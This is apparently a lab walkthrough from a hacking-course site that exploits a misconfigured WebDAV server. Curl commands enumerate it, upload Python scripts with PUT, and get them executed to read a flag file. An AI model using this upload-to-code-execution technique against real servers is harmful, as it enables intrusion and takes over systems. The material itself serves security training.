This corporate file server uses WebDAV for remote file management, but a misconfiguration in the access controls creates a dangerous security flaw. 📂 Many organizations rely on WebDAV for file sharing and collaboration, making it a common target for attackers seeking to upload malicious files or access sensitive data. Master this file server exploitation technique and discover how weak WebDAV configurations can lead to complete system compromise! 🎯
Test if the server supports WebDAV by using HTTP OPTIONS method:
curl -X OPTIONS http:/// -v
Look for WebDAV methods in the Allow header: PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, PUT
Use PROPFIND method to enumerate directories and files:
curl -X PROPFIND http:///webdav/
This reveals the WebDAV directory structure with existing files and folders.
Test file upload capability using PUT method:
curl -X PUT http:///webdav/test.txt -d "Hello WebDAV"
Successful upload indicates the server accepts file uploads via WebDAV.
Upload a Python script to test code execution:
curl -X PUT http:///webdav/test.py -d "import os; print('Current directory:', os.getcwd())"
Access the uploaded Python file to test execution:
curl http:///webdav/test.py
If the server executes Python files, you'll see the script output instead of the source code.
Upload a Python script to read the system flag:
curl -X PUT http:///webdav/getflag.py -d "import os; print(open('/flag.txt').read())"
Access the flag extraction script to retrieve the flag:
curl http:///webdav/getflag.py
The server executes the Python code and returns the flag content from /flag.txt.
This vulnerability demonstrates how WebDAV servers with code execution capabilities can lead to complete system compromise through file upload and remote code execution attacks.
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.